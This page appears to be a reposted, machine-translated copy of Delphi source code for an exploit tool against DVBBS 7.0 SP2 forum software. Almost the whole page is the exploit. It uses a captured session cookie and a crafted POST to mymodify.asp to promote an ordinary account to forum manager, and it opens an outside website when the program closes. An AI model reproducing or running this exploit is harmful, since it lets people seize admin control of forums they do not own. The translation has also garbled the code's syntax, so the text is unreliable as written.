DVBBS7.0SP2 foreground right exploit procedure [Kendy version] Source code _ Loophole Research

Source: Internet
Author: User
Tags socket stringreplace
Author: Kendy article source: Kendys Blog
Unit Unit1;
Interface
Uses
Windows, Messages, sysutils, variants, Classes, Graphics, Controls, Forms,
Dialogs, Scktcomp, Stdctrls, Comctrls, Winskindata, Shellapi;
Type
TForm1 = Class (Tform)
Label1:tlabel;
Label2:tlabel;
Label3:tlabel;
Edit1:tedit;
Edit2:tedit;
Edit3:tedit;
Button1:tbutton;
Clientsocket1:tclientsocket;
Groupbox1:tgroupbox;
Memo1:tmemo;
Label4:tlabel;
Statusbar1:tstatusbar;
Skindata1:tskindata;
Procedure Button1Click (Sender:tobject);
Procedure Clientsocket1connect (Sender:tobject;
Socket:tcustomwinsocket);
Procedure Clientsocket1read (Sender:tobject; Socket:tcustomwinsocket);
Procedure Clientsocket1error (Sender:tobject; Socket:tcustomwinsocket;
Errorevent:terrorevent; var errorcode:integer);
Procedure Formclose (Sender:tobject; var action:tcloseaction);
Private
{Private declarations}
Public
{Public declarations}
End
Var
Form1:tform1;
data:string;
Implementation
{$R *.DFM}
Procedure Tform1.button1click (Sender:tobject);
Var
surl,susername,spost,sreferer,shost,scookie,s:string;
I:integer;
Begin
Clientsocket1.close;
If Edit1. Text = Then
Begin
Statusbar1.panels[0]. Text: = Please enter the forum address! ’;
Exit
End
If Edit2. Text = Then
Begin
Statusbar1.panels[0]. Text: = Please input your forum account number! ’;
Exit
End
If Edit3. Text = Then
Begin
Statusbar1.panels[0]. Text: = Please enter the crawl cookie! ’;
Exit
End
Memo1. Text: =;
Statusbar1.panels[0]. Text: =;
Label4.caption: =;
Surl:=edit1. Text;
If Pos (HTTP://,SURL) <> 0 Then
Surl:=stringreplace (Surl,http://,,[rfignorecase]);
Susername:=edit2. Text;
Scookie:=edit3. Text;
--------Host-------------
I:=pos (/,surl);
If I <> 0 Then
Shost:=copy (surl,0,i-1)
Else
Shost:=surl;
--------Referer-----------
sreferer:=http://+ sURL +/mymodify.asp;
--------POST--------------
Spost:=stringreplace (Surl,shost,,[rfignorecase]);
Spost:=spost +/mymodify.asp?action=updat&username= + susername;
--------Packet------------
s:=sex=1&face=images%2fuserface%2fimage1.gif&myface=images/userface/image1.gif| | | 32| | | 32| | | 2003-12-30%;
s:=s+2016:34:00| | | 2005-6-19%2018:04:06| | | 25| | | 0| | | admin | | | 1| | | | | 120| | | 115| | | 28| | | 0| | | | | 210.41.235.200| | |;
s:=s+0| | | 0| | | 0| | | | | 0| | | | | level10.gif| | | | | 9pc722664t5w7im7| | | 0|0|0 | | | dvbbs&width=100&height=100;
s:=s+&birthday=&userphoto=&groupname=%ce%de%c3%c5%ce%de%c5%c9&signature=&showre=0& usercookies=1&setuserinfo;
S:=s+=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province= &selectp=0&city=&selectc=0;
s:=s+&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=& submit=%b8%fc+%d0;
Data:=post +spost+ http/1.1+ #13 #10;
Data:=data+accept:image/gif, Image/x-xbitmap, Image/jpeg, Image/pjpeg, Application/vnd.ms-excel, application/ MSWord, Application/x-shockwave-flash, */*+ #13 #10;
Data:=data+referer: +sreferer+ #13 #10;
data:=data+accept-language:zh-cn+ #13 #10;
Data:=data+content-type:application/x-www-form-urlencoded+ #13 #10;
Data:=data+accept-encoding:gzip, deflate+ #13 #10;
data:=data+user-agent:mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; Tencenttraveler) + #13 #10;
Data:=data+host: +shost+ #13 #10;
data:=data+content-length:585+ #13 #10;
data:=data+connection:keep-alive+ #13 #10;
data:=data+cache-control:no-cache+ #13 #10;
Data:=data+cookie: + scookie+ #13 #10+ #13 #10;
Data:=data+s;
--------Start sending packets-------------
Clientsocket1.host: = Shost;
Clientsocket1.port: = 80;
Clientsocket1.open;
Statusbar1.panels[0]. Text: = Send in data ...;
End
Procedure Tform1.clientsocket1connect (Sender:tobject;
Socket:tcustomwinsocket);
Begin
Socket.sendtext (Data);
End
Procedure Tform1.clientsocket1read (Sender:tobject;
Socket:tcustomwinsocket);
Begin
Memo1. Text: =socket.receivetext;
If Pos (your modification information has been successfully submitted, memo1.) Text) <> 0 Then
Begin
Label4.caption:=>> successfully promoted to front desk manager! ’;
Statusbar1.panels[0]. Text: = successful, please re-enter the forum! ’;
End
Else
Begin
Label4.caption:=>> Sorry, the right to raise failed;
Statusbar1.panels[0]. Text: = failed, try another forum. ’;
End
End
Procedure Tform1.clientsocket1error (Sender:tobject;
Socket:tcustomwinsocket; Errorevent:terrorevent;
var errorcode:integer);
Begin
errorcode:= 0;
Statusbar1.panels[0]. Text: =error ...
Exit;
End
Procedure Tform1.formclose (Sender:tobject; var action:tcloseaction);
Begin
ShellExecute (handle,open,http://aliwy.77169.com,nil,nil,sw_show);
End
End.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.